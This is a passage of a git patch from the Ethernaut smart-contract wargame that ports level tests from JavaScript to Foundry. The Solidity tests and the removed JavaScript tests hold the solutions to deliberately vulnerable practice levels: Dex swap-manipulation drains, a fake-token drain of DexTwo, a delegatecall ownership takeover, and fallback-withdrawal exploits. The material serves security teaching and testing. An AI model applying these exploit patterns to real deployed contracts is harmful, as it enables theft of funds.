address(uint160(uint256(entries[0].topics[2]))); From 94a7d91a5277bff6209cb05366ed2959117b63cb Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Thu, 21 Mar 2024 12:30:26 -0500 Subject: [PATCH 12/35] =?UTF-8?q?=E2=9C=A8=20Multiple=20challenges=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/src/Ethernaut.sol | 1 - contracts/src/levels/base/Level-05.sol | 1 - contracts/src/levels/base/Level-06.sol | 1 - contracts/src/levels/base/Level-08.sol | 1 - contracts/src/levels/base/Level.sol | 1 - contracts/test/levels/Coinflip.t.sol | 2 +- contracts/test/levels/Delegation.t.sol | 4 +- contracts/test/levels/Denial.t.sol | 2 +- contracts/test/levels/Denial.test.js | 73 ---------- contracts/test/levels/Dex.t.sol | 72 ++++++++++ contracts/test/levels/Dex.test.js | 89 ------------ contracts/test/levels/DexTwo.t.sol | 67 +++++++++ contracts/test/levels/DexTwo.test.js | 108 --------------- contracts/test/levels/DoubleEntryPoint.t.sol | 65 +++++++++ .../test/levels/DoubleEntryPoint.test.js | 69 ---------- contracts/test/levels/Elevator.t.sol | 63 +++++++++ contracts/test/levels/Elevator.test.js | 65 --------- contracts/test/levels/Fallback.t.sol | 66 +++++++++ contracts/test/levels/Fallback.test.js | 70 ---------- contracts/test/levels/Force.t.sol | 63 +++++++++ contracts/test/levels/Force.test.js | 75 ---------- contracts/test/levels/Gatekeeper.test.js | 128 ------------------ contracts/test/levels/GatekeeperOne.t.sol | 62 +++++++++ contracts/test/levels/GatekeeperTwo.t.sol | 62 +++++++++ contracts/test/levels/GoodSamaritan.t.sol | 65 +++++++++ contracts/test/levels/GoodSamaritan.test.js | 79 ----------- contracts/test/levels/King.t.sol | 63 +++++++++ contracts/test/levels/King.test.js | 104 -------------- contracts/test/levels/MagicNum.t.sol | 65 +++++++++ contracts/test/levels/MagicNum.test.js | 67 --------- contracts/test/levels/NaughtCoin.t.sol | 64 +++++++++ contracts/test/levels/NaughtCoin.test.js | 71 ---------- contracts/test/levels/Preservation.t.sol | 64 +++++++++ contracts/test/levels/Preservation.test.js | 87 ------------ contracts/test/levels/Privacy.t.sol | 62 +++++++++ contracts/test/levels/Privacy.test.js | 68 ---------- contracts/test/levels/PuzzleWallet.t.sol | 74 ++++++++++ contracts/test/levels/PuzzleWallet.test.js | 96 ------------- contracts/test/levels/Recovery.t.sol | 69 ++++++++++ contracts/test/levels/Recovery.test.js | 97 ------------- contracts/test/levels/Shop.t.sol | 63 +++++++++ contracts/test/levels/Shop.test.js | 65 --------- contracts/test/levels/Switch.t.sol | 75 ++++++++++ contracts/test/levels/Switch.test.js | 103 -------------- contracts/test/levels/Telephone.t.sol | 63 +++++++++ contracts/test/levels/Telephone.test.js | 66 --------- contracts/test/levels/Token.t.sol | 62 +++++++++ contracts/test/levels/Vault.t.sol | 62 +++++++++ contracts/test/levels/Vault.test.js | 71 ---------- contracts/test/utils/Utils.sol | 2 +- 50 files changed, 1376 insertions(+), 1661 deletions(-) delete mode 100644 contracts/test/levels/Denial.test.js create mode 100644 contracts/test/levels/Dex.t.sol delete mode 100644 contracts/test/levels/Dex.test.js create mode 100644 contracts/test/levels/DexTwo.t.sol delete mode 100644 contracts/test/levels/DexTwo.test.js create mode 100644 contracts/test/levels/DoubleEntryPoint.t.sol delete mode 100644 contracts/test/levels/DoubleEntryPoint.test.js create mode 100644 contracts/test/levels/Elevator.t.sol delete mode 100644 contracts/test/levels/Elevator.test.js create mode 100644 contracts/test/levels/Fallback.t.sol delete mode 100644 contracts/test/levels/Fallback.test.js create mode 100644 contracts/test/levels/Force.t.sol delete mode 100644 contracts/test/levels/Force.test.js delete mode 100644 contracts/test/levels/Gatekeeper.test.js create mode 100644 contracts/test/levels/GatekeeperOne.t.sol create mode 100644 contracts/test/levels/GatekeeperTwo.t.sol create mode 100644 contracts/test/levels/GoodSamaritan.t.sol delete mode 100644 contracts/test/levels/GoodSamaritan.test.js create mode 100644 contracts/test/levels/King.t.sol delete mode 100644 contracts/test/levels/King.test.js create mode 100644 contracts/test/levels/MagicNum.t.sol delete mode 100644 contracts/test/levels/MagicNum.test.js create mode 100644 contracts/test/levels/NaughtCoin.t.sol delete mode 100644 contracts/test/levels/NaughtCoin.test.js create mode 100644 contracts/test/levels/Preservation.t.sol delete mode 100644 contracts/test/levels/Preservation.test.js create mode 100644 contracts/test/levels/Privacy.t.sol delete mode 100644 contracts/test/levels/Privacy.test.js create mode 100644 contracts/test/levels/PuzzleWallet.t.sol delete mode 100644 contracts/test/levels/PuzzleWallet.test.js create mode 100644 contracts/test/levels/Recovery.t.sol delete mode 100644 contracts/test/levels/Recovery.test.js create mode 100644 contracts/test/levels/Shop.t.sol delete mode 100644 contracts/test/levels/Shop.test.js create mode 100644 contracts/test/levels/Switch.t.sol delete mode 100644 contracts/test/levels/Switch.test.js create mode 100644 contracts/test/levels/Telephone.t.sol delete mode 100644 contracts/test/levels/Telephone.test.js create mode 100644 contracts/test/levels/Token.t.sol create mode 100644 contracts/test/levels/Vault.t.sol delete mode 100644 contracts/test/levels/Vault.test.js diff --git a/contracts/src/Ethernaut.sol b/contracts/src/Ethernaut.sol index 4bd8d51e0..0f4879f0d 100644 --- a/contracts/src/Ethernaut.sol +++ b/contracts/src/Ethernaut.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; import "./levels/base/Level.sol"; diff --git a/contracts/src/levels/base/Level-05.sol b/contracts/src/levels/base/Level-05.sol index 0eef0ec2b..9e811e3bb 100644 --- a/contracts/src/levels/base/Level-05.sol +++ b/contracts/src/levels/base/Level-05.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.5.0; import "../../helpers/Ownable-05.sol"; diff --git a/contracts/src/levels/base/Level-06.sol b/contracts/src/levels/base/Level-06.sol index 9ff9acd9f..77314162b 100644 --- a/contracts/src/levels/base/Level-06.sol +++ b/contracts/src/levels/base/Level-06.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.6.0; import "openzeppelin-contracts-06/access/Ownable.sol"; diff --git a/contracts/src/levels/base/Level-08.sol b/contracts/src/levels/base/Level-08.sol index b08904002..fa34126cb 100644 --- a/contracts/src/levels/base/Level-08.sol +++ b/contracts/src/levels/base/Level-08.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; import "openzeppelin-contracts-08/access/Ownable.sol"; diff --git a/contracts/src/levels/base/Level.sol b/contracts/src/levels/base/Level.sol index b08904002..fa34126cb 100644 --- a/contracts/src/levels/base/Level.sol +++ b/contracts/src/levels/base/Level.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; import "openzeppelin-contracts-08/access/Ownable.sol"; diff --git a/contracts/test/levels/Coinflip.t.sol b/contracts/test/levels/Coinflip.t.sol index 21028df35..efe1650a5 100644 --- a/contracts/test/levels/Coinflip.t.sol +++ b/contracts/test/levels/Coinflip.t.sol @@ -37,7 +37,7 @@ contract TestCoinflip is Test, Utils { vm.stopPrank(); vm.startPrank(player); - instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)))); + instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)), 0)); vm.stopPrank(); } diff --git a/contracts/test/levels/Delegation.t.sol b/contracts/test/levels/Delegation.t.sol index 7008d8b55..0b4fc1ad5 100644 --- a/contracts/test/levels/Delegation.t.sol +++ b/contracts/test/levels/Delegation.t.sol @@ -36,7 +36,7 @@ contract TestDelegation is Test, Utils { vm.stopPrank(); vm.startPrank(player); - instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)))); + instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)), 0)); vm.stopPrank(); } @@ -54,7 +54,7 @@ contract TestDelegation is Test, Utils { function testSolve() public { vm.startPrank(player); - (bool success, ) = address(instance).call(abi.encodeWithSignature("pwn()")); + (bool success,) = address(instance).call(abi.encodeWithSignature("pwn()")); require(success, "call not successful"); assertTrue(submitLevelInstance(ethernaut, address(instance))); diff --git a/contracts/test/levels/Denial.t.sol b/contracts/test/levels/Denial.t.sol index f72c5aa85..997a749b0 100644 --- a/contracts/test/levels/Denial.t.sol +++ b/contracts/test/levels/Denial.t.sol @@ -37,7 +37,7 @@ contract TestDenial is Test, Utils { vm.stopPrank(); vm.startPrank(player); - instance = Denial(payable(createLevelInstance(ethernaut, Level(address(factory), value)))); + instance = Denial(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); vm.stopPrank(); } diff --git a/contracts/test/levels/Denial.test.js b/contracts/test/levels/Denial.test.js deleted file mode 100644 index d46970399..000000000 --- a/contracts/test/levels/Denial.test.js +++ /dev/null @@ -1,73 +0,0 @@ -const Denial = artifacts.require('./levels/Denial.sol'); -const DenialFactory = artifacts.require('./levels/DenialFactory.sol'); -const DenialAttack = artifacts.require('./attacks/DenialAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Denial', function (accounts) { - let ethernaut; - let level; - let instance; - let player = accounts[0]; - let owner = '0xA9E'; - let initialDeposit = web3.utils.toWei('0.001', 'ether'); - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await DenialFactory.new(); - await ethernaut.registerLevel(level.address); - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Denial, - { from: player, value: initialDeposit } - ); - }); - - describe('instance', function () { - it('should not be immediately solvable', async function () { - // The owner can withdraw funds - let owner = await instance.owner(); - - // Anyone can call withdraw - await instance.withdraw(); - - // ensure the owner got credited some funds - assert.isTrue((await web3.eth.getBalance(owner)) > 0); - - // make sure the factory fails - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, false); - }); - - it('it should allow the user to solve the level', async function () { - // generate the attack contract - let denialAttack = await DenialAttack.new(); - // set it as the withdraw partner - await instance.setWithdrawPartner(denialAttack.address); - // ensure the level is completed - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); - }); -}); diff --git a/contracts/test/levels/Dex.t.sol b/contracts/test/levels/Dex.t.sol new file mode 100644 index 000000000..25e89de40 --- /dev/null +++ b/contracts/test/levels/Dex.t.sol @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Dex, SwappableToken} from "src/levels/Dex.sol"; +import {DexFactory} from "src/levels/DexFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestDex is Test, Utils { + Ethernaut ethernaut; + Dex instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DexFactory factory = new DexFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Dex(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + SwappableToken token1 = SwappableToken(instance.token1()); + SwappableToken token2 = SwappableToken(instance.token2()); + + token1.approve(address(instance), 200); + token2.approve(address(instance), 200); + instance.swap(address(token1), address(token2), 10); + + instance.swap(address(token2), address(token1), 20); + instance.swap(address(token1), address(token2), 24); + instance.swap(address(token2), address(token1), 30); + instance.swap(address(token1), address(token2), 41); + instance.swap(address(token2), address(token1), 45); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Dex.test.js b/contracts/test/levels/Dex.test.js deleted file mode 100644 index e601320c4..000000000 --- a/contracts/test/levels/Dex.test.js +++ /dev/null @@ -1,89 +0,0 @@ -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const DexFactory = artifacts.require('./levels/DexFactory.sol'); -const SwappableToken = artifacts.require('SwappableToken'); -const Dex = artifacts.require('./levels/Dex.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Dex', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let player_balance_1; - let player_balance_2; - let statproxy; - // console.log(`Owner is ${owner}`) - // console.log(`player is ${player}`) - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await DexFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Dex - ); - // Check init balances - let token_one_address = await instance.token1(); - let token_two_address = await instance.token2(); - const token1 = new SwappableToken(token_one_address); - const token2 = new SwappableToken(token_two_address); - let token_one_balance = await token1.balanceOf(instance.address); - let token_two_balance = await token2.balanceOf(instance.address); - //console.log(`init token balances are: ${token_one_balance} for token1 and ${token_two_balance} for token2`) - player_balance_1 = await token1.balanceOf(player); - player_balance_2 = await token2.balanceOf(player); - //console.log(`Balances of player are ${player_balance_1}, ${player_balance_2}`) - assert.equal(token_one_balance, 100); - assert.equal(token_two_balance, 100); - - // Ensure its not possible to approve yourself as a spender of the Dex balances - await expectRevert( - token1.approve(instance.address, player, 100), - 'InvalidApprover' - ); - - // Start swapping - await token1.approve(instance.address, 200, { from: player }); - await token2.approve(instance.address, 200, { from: player }); - await instance.swap(token1.address, token2.address, 10, { from: player }); - token_one_balance = await token1.balanceOf(instance.address); - token_two_balance = await token2.balanceOf(instance.address); - //console.log(`new token balances are: ${token_one_balance} for token1 and ${token_two_balance} for token2 after first swap`) - player_balance_1 = await token1.balanceOf(player); - player_balance_2 = await token2.balanceOf(player); - //console.log(`Balances of player are ${player_balance_1}, ${player_balance_2}`) - await instance.swap(token2.address, token1.address, 20, { from: player }); - await instance.swap(token1.address, token2.address, 24, { from: player }); - await instance.swap(token2.address, token1.address, 30, { from: player }); - await instance.swap(token1.address, token2.address, 41, { from: player }); - await instance.swap(token2.address, token1.address, 45, { from: player }); - token_one_balance = await token1.balanceOf(instance.address); - token_two_balance = await token2.balanceOf(instance.address); - //console.log(`new token balances are: ${token_one_balance} for token1 and ${token_two_balance} for token2`) - player_balance_1 = await token1.balanceOf(player); - player_balance_2 = await token2.balanceOf(player); - //console.log(`Balances of player are ${player_balance_1}, ${player_balance_2}`) - - // Check win. - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/DexTwo.t.sol b/contracts/test/levels/DexTwo.t.sol new file mode 100644 index 000000000..4ed302271 --- /dev/null +++ b/contracts/test/levels/DexTwo.t.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {DexTwo, SwappableTokenTwo} from "src/levels/DexTwo.sol"; +import {DexTwoFactory} from "src/levels/DexTwoFactory.sol"; +import {DexTwoAttackToken} from "src/attacks/DexTwoAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestDexTwo is Test, Utils { + Ethernaut ethernaut; + DexTwo instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DexTwoFactory factory = new DexTwoFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = DexTwo(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + SwappableTokenTwo token1 = SwappableTokenTwo(instance.token1()); + SwappableTokenTwo token2 = SwappableTokenTwo(instance.token2()); + + DexTwoAttackToken attack = new DexTwoAttackToken(); + instance.swap(address(attack), address(token1), 1); + instance.swap(address(attack), address(token2), 1); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/DexTwo.test.js b/contracts/test/levels/DexTwo.test.js deleted file mode 100644 index 8cd675fb6..000000000 --- a/contracts/test/levels/DexTwo.test.js +++ /dev/null @@ -1,108 +0,0 @@ -const DexTwoFactory = artifacts.require('./levels/DexTwoFactory.sol'); -const SwappableTokenTwo = artifacts.require('SwappableTokenTwo'); -const DexTwoAttackToken = artifacts.require('DexTwoAttackToken'); -const DexTwo = artifacts.require('./levels/DexTwo.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('DexTwo', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let instance; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await DexTwoFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player didnt solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - DexTwo - ); - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - DexTwo - ); - - const [token1Addr, token2Addr] = await Promise.all([ - instance.token1(), - instance.token2(), - ]); - const [token1, token2] = [token1Addr, token2Addr].map( - (a) => new SwappableTokenTwo(a) - ); - let dexBalances = await Promise.all([ - token1.balanceOf(instance.address), - token2.balanceOf(instance.address), - ]); - let playerBalances = await Promise.all([ - token1.balanceOf(player), - token2.balanceOf(player), - ]); - assert.equal(dexBalances[0], 100); - assert.equal(dexBalances[1], 100); - assert.equal(playerBalances[0], 10); - assert.equal(playerBalances[1], 10); - - // Ensure its not possible to approve yourself as a spender of the Dex balances - await expectRevert( - token1.approve(instance.address, player, 100), - 'InvalidApprover' - ); - - const t = await DexTwoAttackToken.new(); - - // Drain funds through swap - await instance.swap(t.address, token1.address, 1, { from: player }); - await instance.swap(t.address, token2.address, 1, { from: player }); - dexBalances = await Promise.all([ - token1.balanceOf(instance.address), - token2.balanceOf(instance.address), - ]); - playerBalances = await Promise.all([ - token1.balanceOf(player), - token2.balanceOf(player), - ]); - assert.equal(dexBalances[0], 0); - assert.equal(dexBalances[1], 0); - assert.equal(playerBalances[0], 110); - assert.equal(playerBalances[1], 110); - - // Check win. - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/DoubleEntryPoint.t.sol b/contracts/test/levels/DoubleEntryPoint.t.sol new file mode 100644 index 000000000..758a82274 --- /dev/null +++ b/contracts/test/levels/DoubleEntryPoint.t.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {DoubleEntryPoint, Forta} from "src/levels/DoubleEntryPoint.sol"; +import {DoubleEntryPointFactory} from "src/levels/DoubleEntryPointFactory.sol"; +import {DetectionBot} from "src/attacks/DetectionBot.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestDoubleEntryPoint is Test, Utils { + Ethernaut ethernaut; + DoubleEntryPoint instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DoubleEntryPointFactory factory = new DoubleEntryPointFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = DoubleEntryPoint(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + Forta forta = instance.forta(); + DetectionBot bot = new DetectionBot(address(forta)); + + forta.setDetectionBot(address(bot)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/DoubleEntryPoint.test.js b/contracts/test/levels/DoubleEntryPoint.test.js deleted file mode 100644 index 060909984..000000000 --- a/contracts/test/levels/DoubleEntryPoint.test.js +++ /dev/null @@ -1,69 +0,0 @@ -const DoubleEntryPoint = artifacts.require('./levels/DoubleEntryPoint.sol'); -const DoubleEntryPointFactory = artifacts.require( - './levels/DoubleEntryPointFactory.sol' -); -const DetectionBot = artifacts.require('./attacks/DetectionBot.sol'); -const Forta = artifacts.require('./levels/Forta.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { web3 } = require('openzeppelin-test-helpers/src/setup'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('DoubleEntryPoint', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await DoubleEntryPointFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player did not solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - DoubleEntryPoint - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - DoubleEntryPoint - ); - - const fortaAddress = await instance.forta(); - - const fortaContract = await Forta.at(fortaAddress); - - const detectionBot = await DetectionBot.new(fortaAddress, { from: player }); - - await fortaContract.setDetectionBot(detectionBot.address, { from: player }); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Elevator.t.sol b/contracts/test/levels/Elevator.t.sol new file mode 100644 index 000000000..cc8c06c29 --- /dev/null +++ b/contracts/test/levels/Elevator.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Elevator} from "src/levels/Elevator.sol"; +import {ElevatorFactory} from "src/levels/ElevatorFactory.sol"; +import {ElevatorAttack} from "src/attacks/ElevatorAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestElevator is Test, Utils { + Ethernaut ethernaut; + Elevator instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + ElevatorFactory factory = new ElevatorFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Elevator(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + ElevatorAttack attack = new ElevatorAttack(); + attack.attack(address(instance)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Elevator.test.js b/contracts/test/levels/Elevator.test.js deleted file mode 100644 index 5d44c421e..000000000 --- a/contracts/test/levels/Elevator.test.js +++ /dev/null @@ -1,65 +0,0 @@ -const ElevatorFactory = artifacts.require('./levels/ElevatorFactory.sol'); -const ElevatorAttack = artifacts.require('./attacks/ElevatorAttack.sol'); -const Elevator = artifacts.require('./levels/Elevator.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Elevator', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await ElevatorFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player didnt solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Elevator - ); - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Elevator - ); - - const attacker = await ElevatorAttack.new(); - await attacker.attack(instance.address); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Fallback.t.sol b/contracts/test/levels/Fallback.t.sol new file mode 100644 index 000000000..b06ce9cb7 --- /dev/null +++ b/contracts/test/levels/Fallback.t.sol @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Fallback} from "src/levels/Fallback.sol"; +import {FallbackFactory} from "src/levels/FallbackFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestFallback is Test, Utils { + Ethernaut ethernaut; + Fallback instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + FallbackFactory factory = new FallbackFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Fallback(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + instance.contribute{value: 0.0001 ether}(); + + (bool sent,) = address(instance).call{value: 1}(""); + require(sent, "Failed to send Ether to the instance"); + + instance.withdraw(); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Fallback.test.js b/contracts/test/levels/Fallback.test.js deleted file mode 100644 index e9250a779..000000000 --- a/contracts/test/levels/Fallback.test.js +++ /dev/null @@ -1,70 +0,0 @@ -const FallbackFactory = artifacts.require('./levels/FallbackFactory.sol'); -const Fallback = artifacts.require('./attacks/Fallback.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Fallback', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - beforeEach(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await FallbackFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Fallback, - { from: player } - ); - - assert.equal(await instance.owner(), level.address); - assert.equal( - web3.utils.toWei('1000', 'ether'), - (await instance.getContribution({ from: level.address })).toString() - ); - - await instance.contribute({ - from: player, - value: web3.utils.toWei('0.0001', 'ether'), - }); - assert.notEqual( - 0, - (await instance.getContribution({ from: player })).toNumber() - ); - assert.notEqual(0, await utils.getBalance(web3, instance.address)); - - await web3.eth.sendTransaction({ - from: 